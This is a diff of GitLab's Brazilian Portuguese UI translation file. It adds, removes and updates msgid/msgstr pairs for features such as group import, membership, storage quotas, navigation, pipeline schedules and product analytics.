msgid "GroupImport|Group '%{group_name}' is being imported."
msgstr "O grupo '%{group_name}' está sendo importado."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "Se você organizar seus projetos num grupo, será como uma pasta."
+msgid "GroupsEmptyState|No archived projects."
+msgstr "Nenhum projeto arquivado."
+
msgid "GroupsEmptyState|No groups found"
msgstr "Nenhum grupo encontrado"
+msgid "GroupsEmptyState|No shared projects."
+msgstr "Nenhum projeto compartilhado."
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr "Importar grupo"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr "Importar grupos de outras instância do GitLab"
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr "A importação de grupos por transferência direta está desativada no momento."
+
msgid "GroupsNew|No import options available"
msgstr "Nenhuma opção de importação disponível"
@@ -19847,6 +20062,12 @@ msgstr "Nem todos os objetos relacionados são migrados. %{docs_link_start}Mais
msgid "GroupsNew|Personal access token"
msgstr "Token de acesso pessoal"
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr "Por favor preencha a URL da fonte do GitLab."
@@ -19856,6 +20077,9 @@ msgstr "Por favor preencha o seu token de acesso pessoal"
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr "Forneça as credenciais para outra instância do GitLab para importar seus grupos diretamente."
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr "Este recurso foi descontinuado e substituído pela %{docs_link_start}migração de grupo%{docs_link_end}."
@@ -19973,6 +20197,9 @@ msgstr "URL do arquivo HAR"
msgid "HAR file path or URL"
msgstr "Caminho do arquivo HAR ou URL"
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr "Arquivo HTTP (HAR)"
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr "Hierarquia de planejamento"
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr "Se ativado, apenas ramificações protegidas serão espelhados."
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr "Se estiver usando o GitHub, você verá os status do pipeline no GitHub
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr "Se você não iniciou essas tentativas de entrada, entre em contato com seu administrador ou ative a autenticação de dois fatores (2FA) em sua conta."
@@ -20942,12 +21175,24 @@ msgstr "Configurações avançadas de importação"
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "URL de importação bloqueada: %{message}"
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr "Importar repositórios"
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr "Falha ao importar o projeto"
@@ -21575,7 +21820,7 @@ msgid "Incident template (optional)."
msgstr ""
msgid "Incident title"
-msgstr ""
+msgstr "Título do incidente"
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
msgstr "%{hours} horas, %{minutes} minutos restantes"
@@ -21962,7 +22207,7 @@ msgid "Input host keys manually"
msgstr "Insira as chaves do host manualmente"
msgid "Input the remote repository URL"
-msgstr ""
+msgstr "Insira a URL do repositório remoto"
msgid "Insert"
msgstr "Inserir"
@@ -22006,7 +22251,7 @@ msgstr "Insights"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr "Configure um relatório personalizado para obter informações sobre os processos do seu grupo, como quantidade de issues, bugs e solicitações de mesclagem por mês. %{linkStart}Como configuro um relatório de insights?%{linkEnd}"
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr "Um comentário é adicionado em uma issue"
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr "Uma issue confidencial é criada, atualizada ou fechada"
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr "Uma solicitação de mesclagem é criada, atualizada ou mesclada"
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr "Um status de pipeline muda"
@@ -22221,6 +22475,9 @@ msgstr "Inclui título de commit e ramificação."
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr "Detalhes da integração"
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr "URL base da instância do Jira."
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr "Se diferente do URL da Web."
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr "Todos"
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr "Tem certeza que deseja prosseguir?"
@@ -23933,9 +24193,6 @@ msgstr "Clusters de Kubernetes"
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "O tempo de criação do cluster de Kubernetes excedeu o tempo limite; %{timeout}"
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr "Último Pipeline"
msgid "Last Seen"
msgstr "Visto pela última vez"
-msgid "Last Sync"
-msgstr "Última sincronização"
-
msgid "Last Used"
msgstr "Último uso"
@@ -24231,6 +24485,9 @@ msgstr "Saiba mais"
msgid "Learn More."
msgstr "Saiba mais."
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr "Saiba mais sobre assentos devidos"
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr "Saiba mais sobre assinar commits"
-
msgid "Learn more in the"
msgstr "Saiba mais em"
@@ -25056,6 +25310,9 @@ msgstr "Faça e revise alterações no navegador com o IDE Web"
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "Faça com que todos em sua equipe sejam mais produtivos, independentemente da localização deles. O GitLab Geo cria espelhos somente leitura de sua instância do GitLab para que você possa reduzir o tempo necessário para clonar e buscar grandes repositórios."
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr "Certifique-se de escolher uma senha forte e única."
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr "Gerenciar etiquetas de %{workspace}"
-msgid "Manage Dashboards"
-msgstr "Gerenciar painéis"
-
msgid "Manage Web IDE features."
msgstr "Gerenciar recursos do IDE Web."
@@ -25173,6 +25427,9 @@ msgstr "Marcar esta issue como relacionada a outra issue"
msgid "Mark to do as done"
msgstr "Marcar tarefa como concluída"
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr "Ajuda do Markdown"
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr "Marcado como uma issue relacionada a %{issue_ref}."
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr "Marca esta issue como relacionada a %{issue_ref}."
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr "não pode ser alterado"
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr "Membro"
+msgid "Members|%{group} by %{createdBy}"
+msgstr "%{group} por %{createdBy}"
+
msgid "Members|%{time} by %{user}"
msgstr "%{time} por %{user}"
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr "Acesso concedido"
+
+msgid "Members|Activity"
+msgstr "Atividade"
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
-msgstr "Tem certeza de que deseja remover %{usersName} de \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
+msgstr "Tem certeza de que deseja remover %{userName} de \"%{group}\"?"
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr "Direto"
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr "Desativado"
@@ -25708,6 +25986,9 @@ msgstr "Herdado"
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr "Última atividade"
+
msgid "Members|Leave \"%{source}\""
msgstr "Deixar \"%{source}\""
@@ -25735,6 +26016,12 @@ msgstr "Pesquisar grupos"
msgid "Members|Search invited"
msgstr "Pesquisar convite"
+msgid "Members|User created"
+msgstr "Usuário criado"
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr "Erro ao dispensar popover de sugestão. Por favor, tente novamente."
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "Erro ao carregar o diff completo. Por favor, tente novamente."
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr "Nenhum arquivo encontrado"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr "Mensagens"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr "Método"
@@ -26510,6 +26803,12 @@ msgstr "Pesquisar marcos"
msgid "MilestoneCombobox|Select milestone"
msgstr "Selecionar marco"
+msgid "MilestonePage|Copy milestone ID"
+msgstr "Copiar ID do marco"
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr "ID do marco: %{milestone_id}"
+
msgid "MilestoneSidebar|Closed:"
msgstr "Fechada:"
@@ -26906,6 +27205,9 @@ msgstr "Vários intervalos de endereços IP são suportados. Não afeta o acesso
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr "NOVO"
msgid "Name"
msgstr "Nome"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr "O nome não pode ficar em branco"
@@ -26939,6 +27244,9 @@ msgstr "O nome não está disponível"
msgid "Name is already taken."
msgstr "O nome já está em uso."
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "Nome da nova etiqueta"
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr "Vermelho claro"
msgid "NavigationTheme|Red"
msgstr "Vermelho"
+msgid "Navigation|Context navigation"
+msgstr "Navegação de contexto"
+
+msgid "Navigation|Recent groups"
+msgstr "Grupos recentes"
+
+msgid "Navigation|Recent projects"
+msgstr "Projetos recentes"
+
+msgid "Navigation|Switch to..."
+msgstr "Alternar para..."
+
+msgid "Navigation|View all groups"
+msgstr "Ver todos os grupos"
+
+msgid "Navigation|View all projects"
+msgstr "Ver todos os projetos"
+
+msgid "Navigation|Your work"
+msgstr "Seu trabalho"
+
msgid "Nav|Help"
msgstr "Ajuda"
@@ -27201,9 +27542,6 @@ msgstr "Nova chave de implantação"
msgid "New directory"
msgstr "Novo diretório"
-msgid "New discussion"
-msgstr "Nova discussão"
-
msgid "New email address added"
msgstr ""
@@ -27232,7 +27570,7 @@ msgid "New identity"
msgstr "Nova identidade"
msgid "New incident"
-msgstr ""
+msgstr "Novo incidente"
msgid "New incident has been created"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr "Nenhuma etiqueta"
msgid "No labels with such name or description"
msgstr "Sem etiquetas com esse nome ou descrição"
-msgid "No license. All rights reserved"
-msgstr "Nenhuma licença. Todos os direitos reservados"
-
msgid "No matches found"
msgstr "Nenhum resultado encontrado"
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr "Texto normal"
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr "Redesenho da navegação"
+
+msgid "NorthstarNavigation|New navigation"
+msgstr "Nova navegação"
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr "Nem todos os navegadores suportam dispositivos U2F. Portanto, exigimos que você configure um aplicativo de autenticação de dois fatores primeiro. Dessa forma, você sempre será capaz de entrar - mesmo quando você estiver usando um navegador não suportado."
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr "Painéis"
+
+msgid "Observability|Data sources"
+msgstr "Fontes de dados"
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr "Gerenciar painéis"
+
msgid "Oct"
msgstr "Out"
@@ -28718,6 +29074,9 @@ msgstr "Não há suporte a um ou mais dos seus arquivos de dependência e a list
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr "O painel de operações fornece um resumo da integridade operacional de
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr "Otimize seu fluxo de trabalho com pipelines CI/CD"
@@ -29112,7 +29474,7 @@ msgid "PackageRegistry|Additional metadata"
msgstr "Metadados adicionais"
msgid "PackageRegistry|Allow duplicates"
-msgstr ""
+msgstr "Permitir duplicatas"
msgid "PackageRegistry|Allow packages with the same name and version to be uploaded to the registry. The newest version of a package is always used when installing."
msgstr "Permitir que pacotes com o mesmo nome e versão sejam carregados no registro. A versão mais recente de um pacote é sempre usada durante a instalação."
@@ -29139,7 +29501,7 @@ msgid "PackageRegistry|Conan Command"
msgstr ""
msgid "PackageRegistry|Configure package forwarding and package file size limits."
-msgstr ""
+msgstr "Configura o encaminhamento de pacotes e os limites de tamanho de arquivo de pacote."
msgid "PackageRegistry|Copy .pypirc content"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr "Helm"
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr "Ajude-nos a conhecer suas necessidades de migração de registro"
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr "Se você estiver interessado em migrar pacotes do seu registro privado para o GitLab Package Registry, responda à nossa pesquisa e conte-nos mais sobre suas necessidades."
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29363,7 +29719,7 @@ msgid "PackageRegistry|Number of duplicate assets to keep"
msgstr "Número de ativos duplicados a serem mantidos"
msgid "PackageRegistry|Other versions"
-msgstr ""
+msgstr "Outras versões"
msgid "PackageRegistry|Package Registry"
msgstr "Registro de pacote"
@@ -29381,7 +29737,7 @@ msgid "PackageRegistry|Package formats"
msgstr "Formatos de pacote"
msgid "PackageRegistry|Package forwarding"
-msgstr ""
+msgstr "Encaminhamento de pacotes"
msgid "PackageRegistry|Package has %{updatesCount} archived update"
msgid_plural "PackageRegistry|Package has %{updatesCount} archived updates"
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr "Realizar pesquisa"
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr "SHA de destino: %{sha}"
@@ -29617,12 +29970,6 @@ msgstr "Parâmetros"
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30119,7 +30466,7 @@ msgid "PipelineEditor|Pipeline behavior will be simulated including the %{codeSt
msgstr "O comportamento do pipeline será simulado incluindo as dependências de trabalho de %{codeStart}rules%{codeEnd} %{codeStart}only%{codeEnd} %{codeStart}only%{codeEnd} e %{codeStart}needs%{codeEnd}. %{linkStart}Saiba mais%{linkEnd}"
msgid "PipelineEditor|Pipeline simulation completed with errors"
-msgstr ""
+msgstr "Simulação de pipeline concluída com erros"
msgid "PipelineEditor|Simulated a %{codeStart}git push%{codeEnd} event for a default branch. %{codeStart}Rules%{codeEnd}, %{codeStart}only%{codeEnd}, %{codeStart}except%{codeEnd}, and %{codeStart}needs%{codeEnd} job dependencies logic have been evaluated. %{linkStart}Learn more%{linkEnd}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr "Validando pipeline... Pode levar até um minuto."
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr "Todos"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr "Tem certeza de que deseja excluir este agendamento de pipeline?"
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr "Excluir agendamento de pipeline"
@@ -30181,6 +30531,9 @@ msgstr "Editar agendamento de pipeline"
msgid "PipelineSchedules|Inactive"
msgstr "Inativo"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr "Último pipeline"
@@ -30208,6 +30561,12 @@ msgstr "Digite uma descrição curta para esta pipeline"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr "Executar agendamento de pipeline"
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr "Ocorreu um problema ao excluir o agendamento do pipeline."
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -30488,7 +30850,7 @@ msgid "Pipelines|Pipeline Editor"
msgstr "Editor de pipeline"
msgid "Pipelines|Pipeline syntax is correct."
-msgstr ""
+msgstr "Sintaxe do pipeline está correta."
msgid "Pipelines|Project cache successfully reset."
msgstr "Cache do projeto redefinido com sucesso."
@@ -30716,7 +31078,7 @@ msgid "Pipeline|Source|Security Policy"
msgstr "Política de segurança"
msgid "Pipeline|Specify variable values to be used in this run. The values specified in %{linkStart}CI/CD settings%{linkEnd} will be used by default."
-msgstr ""
+msgstr "Especifique os valores das variáveis a serem usadas nessa execução. Os valores especificados na configuração da %{linkStart}CI/CD %{linkEnd} serão usados como padrão."
msgid "Pipeline|Stages"
msgstr "Estágios"
@@ -31180,9 +31542,6 @@ msgstr "Escolha o conteúdo que você deseja ver por padrão em seu painel."
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Escolha o conteúdo que você quer ver na página de visão geral de um projeto."
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr "Escolha qual versão do IDE Web você deseja usar."
-
msgid "Preferences|Color for added lines"
msgstr "Cor para linhas adicionadas"
@@ -31240,6 +31599,9 @@ msgstr "Largura do layout"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "Deve ser um número entre %{min} e %{max}"
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr "Desativar o IDE Web Beta"
+
msgid "Preferences|Preview"
msgstr "Pré-visualizar"
@@ -31267,8 +31629,11 @@ msgstr "Tema de realce de sintaxe"
msgid "Preferences|Tab width"
msgstr "Largura da guia"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
-msgstr "O Web IDE legado permanece disponível enquanto o novo IDE Web está em Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr "O IDE Web Beta é a experiência padrão do IDE Web."
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
+msgstr "O IDE Web permanece disponível com a versão Beta."
msgid "Preferences|This feature is experimental and translations are not yet complete."
msgstr "Este recurso é experimental e as traduções ainda não estão completas."
@@ -31282,9 +31647,6 @@ msgstr "Esta configuração permite que você personalize o comportamento do lay
msgid "Preferences|Time preferences"
msgstr "Preferências de hora"
-msgid "Preferences|Use legacy Web IDE"
-msgstr "Usar IDE Web legado"
-
msgid "Preferences|Use relative times"
msgstr "Usar tempos relativos"
@@ -31396,6 +31758,9 @@ msgstr "Grupo(s) privado(s)"
msgid "Private profile"
msgstr "Perfil privado"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr "Prosseguir"
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr "Análise de produtos"
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
